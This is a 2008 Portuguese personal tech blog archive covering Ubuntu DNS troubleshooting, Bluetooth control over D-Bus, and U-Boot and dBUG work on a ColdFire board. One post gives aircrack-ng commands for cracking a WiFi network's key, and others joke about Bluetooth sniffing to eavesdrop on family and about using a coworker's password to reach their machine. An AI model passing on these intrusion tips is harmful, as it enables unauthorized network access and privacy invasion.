Month: November 2008

Seu Linux tambem pode falhar

Nao deveria acontecer isto, mas a verdade e’ que todo e qualquer sistema esta’ fadado a falhar, nao importa se e’ Linux, Windows, FreeBSD, OpenBSD, Plan9, QNX ou qualquer outro.

Um argumento que muitas pessoas usam quando tentam justificar um motivo para nao usar Linux e’ que se o sistema falha voce precisa de ter bastante conhecimento tecnico para conserta-lo. Durante muito tempo eu refutei esta ideia dizendo que um Linux bem configurado nao deveria falhar ou que esta justificativa nao era valida pois se o Windows falhasse inevitavelmente precisaria-se de um tecnico para consertar. Em seguida meu argumento era rebatido com a seguinte questao: qual tecnico e’ mais facil de encontrar: um de Windows ou um de Linux?

Por mais que eu tentasse explicar que normalmente um “tecnico Windows” resolve todos seus problemas reinstalando o sistema, eu nao conseguiria convencer a pessoa de que realmente o Linux e’ a melhor escolha.

Para piorar a situcao hoje descobri que mesmo um Linux bem configurado (creio que e’ isto que se espera de um Ubuntu 8.10) pode falhar. Vamos ao acontecimento:

Eu uso meu notebook (notebook da empresa) no trabalho e em casa. Ele sempre funcionou perfeitamente sem nenhum tipo de problema. Porem hoje quando liguei o computador o NetworkManager conectou automaticamente na rede wireless de casa como de costume, mas nao navegava. De imediato pensei que fosse algum problema no link de internet. Infelizmente nao era, pois os computadores dos meus amigos funcionavam normalmente.

Resolvi entao digitar no navegador um numero IP de um site que eu guardo de cabeca, isto e’ muito util para descobrir problema de DNS. Batata, realmente parecia que o problema era no DNS. Entao resolvi verificar o arquivo /etc/resolv.conf e percebi que ele estava com o servidor DNS interno da empresa. Editei manualmente para colocar o servidor DNS do meu provedor de internet. Funcionou!!!

Entao resolvi reiniciar e tentar conectar novamente. Mesmo erro, quando o NetworkManager se conecta na rede wireless ele coloca o DNS da empresa no /etc/resolv.conf. Ainda nao pesquisei no google para descobrir por que isto esta’ acontecendo, mas resolvi postar sobre este problema. As distribuicoes Linux precisam criar algum sistema de fallback para que o usuario final possa recuperar um estado funcional do sistema sem precisar saber detalhes tecnicos de Linux.

De nada adianta ser facil de usar, reconhecer todo seu hardware, ter mais de 18.000 aplicativos disponivel, etc, se na hora que voce mais precisa ele te deixa na mao. Parafraseando PEGN: “Pensem nisso!”.

Crackeando rede WiFi de forma passiva

Esta e’ a forma de crackear uma rede wifi de forma passiva:

airodump-ng -i -c 6 -w bergamota -d 00:1B:11:F6:XX:XX wlan0
aircrack-ng -b 00:1B:11:F6:XX:XX bergamota-01.ivs

Esta informacao esta’ disponivel aqui apenas para uso didatico, nao e’ legal ficar usando a rede wireless do vizinho.

Acessando seu adaptador bluetooth via DBUS

Obter o nome do adaptador:

dbus-send --system --print-reply --dest=org.bluez / org.bluez.Manager.DefaultAdapter

Obtendo informacoes do seu adaptador bluetooth:

dbus-send --system --print-reply --dest=org.bluez /org/bluez/1787/hci0 org.bluez.Adapter.GetProperties

Substitua /org/bluez/1787/hci0 pelo nome do dispositivo retornado no comando anterior.

Colocando seu Adaptador em modo discoverable:

dbus-send --system --type=method_call --print-reply --dest=org.bluez /org/bluez/1787/hci0 
org.bluez.Adapter.SetProperty string:Discoverable variant:boolean:true

Tentando entender o D-BUS

Estou sendo obrigado a entender o D-BUS para fazer a autenticacao do bluetooth funcionar (que maravilha :-/ ).

Para listar os objetos registrados em org.freedesktop.DBus:

dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListNames

Uma pagina com uma leve introducao ao D-BUS:
http://www.cin.ufpe.br/~cinlug/wiki/index.php/Entendendo_e_Usando_D-Bus,_parte_1

Nao deixe de fazer o exemplo “Harddisk em Chamas” e’ muito legal, e pode ser util caso voce saiba senha do computador do seu amigo de trabalho, assim podera’ conectar na maquina dele e exibir esta msg no desktop dele.

Transferindo arquivo S-Record para o dBUG usando o Minicom

Nunca precisei usar a transferencia de arquivo para a placa M5282Lite usando a serial, isto porque a transferencia via rede sempre funcionou corretamente. Porem de uns tempos para ca’ (desde o Ubuntu 8.04) ela nao funciona, a transferencia congela em torno de 64KB transferidos.

Desde que isto aconteceu estava tendo que me virar usando outro bootloader, o U-Boot. Porem agora resolvi tentar novamente a transferencia via serial.

Inicialmente nao estava funcionando, mas era porque eu estava fazendo desta forma:
dBUG> dl
Escape to local host and send S-records now…

CTRL+A+S

+-[Upload]--+
| zmodem    |
| ymodem    |
| xmodem    |
| kermit    |
| ascii     |
+-----------+

Escolhia a opcao ascii e o arquivo .srec ou .s19.

Entao o conteudo do arquivo era interpretado como comandos do dBUG.

A forma certa e’ fazer assim:

dBUG> dl
Escape to local host and send S-records now…

CTRL+A+Y

Escolho o arquivo .srec (ou .s19) e entao pressiono Enter duas vezes:

S-record download successful!
dBUG>

Nao entendo por que o dBUG escolheu esta forma de transferencia de arquivo, o mais comum e’ utilizar algum protocolo conhecido (zmodem, ymodem, etc) ou ate’ mesmo ascii, mas colar o conteudo do arquivo direto nao e’ comum. De qualquer forma mais um misterio resolvido.

Criando um Sniffer Bluetooth

Este site explica como criar um sniffer para bluetooth. Estou ouvindo a sua mae (namorada, tia, sobrinha, etc) dizendo: “Que feio ouvindo conversas dos outros… (minutos depois) … deixa eu ouvir tambem?”

http://thewifihack.com/blog/?p=27

Apenas os USB Bluetooth Stick que usam o BlueCore4 da CSR com memoria EEPROM (BC4-EXT) sao suportados.

Um dos USB Bluetooth suportados e’ este aqui:
http://www.fujitsu-siemens.com/Resources/185/1331797913.jpg

Infelizmente o modulo APM6628 que estou usando (na iMX31PDK) usa BC4-ROM. Ah, estao lembrados do meu post de 10 dias atras onde eu estava tentando fazer o Bluetooth funcionar neste modulo? Finalmente hoje eu consegui!!!
Muito tempo ne? Da’ um desconto, eu nao fiquei so’ por conta disso e “perdi” tempo fazendo um kernel module para ativar um pino de GPIO que resetava o APM6628 para so’ entao descobrir que o driver dele ja’ fazia isto. Depois posto aqui como eu fiz funcionar.

Adicionando suporte a M5282Lite no U-Boot

Consegui rodar o U-Boot 1.0.2 na placa M5282Lite, ela e’ praticamente igual a M8252EVB.

So precisei adicionar as definicoes nos arquivos abaixo para os valores aqui exibidos:

Em board/m5282evb/config.mk
TEXT_BASE = 0x10000

Em include/configs/M5282EVB.h
#define CFG_LOAD_ADDR 0x10000
#define CFG_MONITOR_BASE 0x10000

Depois disso e’ so compilar normalmente:
$ make M5282EVB_config
$ make

Usei o toolchain antigo (m68k-elf-tools-20030314), pois o mais novo estava gerando muitos erros. Quando compilava o executavel continha instrucoes invalidas.

Usei o dBug para carregar a imagem gerada (u-boot.bin):

dBUG> dn u-boot.bin                                                             
Offset:  0x00000000                                                             
Ethernet Address is 01:02:03:04:05:06                                           
Downloading Image 'u-boot.bin' from 192.168.1.113                               
TFTP download successful                                                        
Read 64360 bytes (126 blocks)                                                   
dBUG> go 10000                                                                  
                                                                                
                                                                                
U-Boot 1.0.2 (Nov 16 2008 - 18:08:00)                                           
                                                                                
CPU:   MOTOROLA Coldfire MCF5282                                                
MOTOROLA M5272EVB Evaluation Board                                              
DRAM:  16 MB                                                                    
FLASH:  2 MB                                                                    
*** Warning - bad CRC, using default environment                                
                                                                                
In:    serial                                                                   
Out:   serial                                                                   
Err:   serial                                                                   
-> 

Erro instalando uclinux toolchain m68k-elf-tools-20030314.sh

alan@armagedon:~/workspace$ sudo -s
root@armagedon:~/workspace# ./m68k-elf-tools-20030314.sh
tail: cannot open `+43′ for reading: No such file or directory

gzip: stdin: not in gzip format
tar: This does not look like a tar archive
tar: Error exit delayed from previous errors
root@armagedon:~/workspace#

Solucao:

altere a linha 39 de:

tail +${SKIP} ${SCRIPT} | gunzip | tar xvf –

para:

tail -n+${SKIP} ${SCRIPT} | gunzip | tar xvf –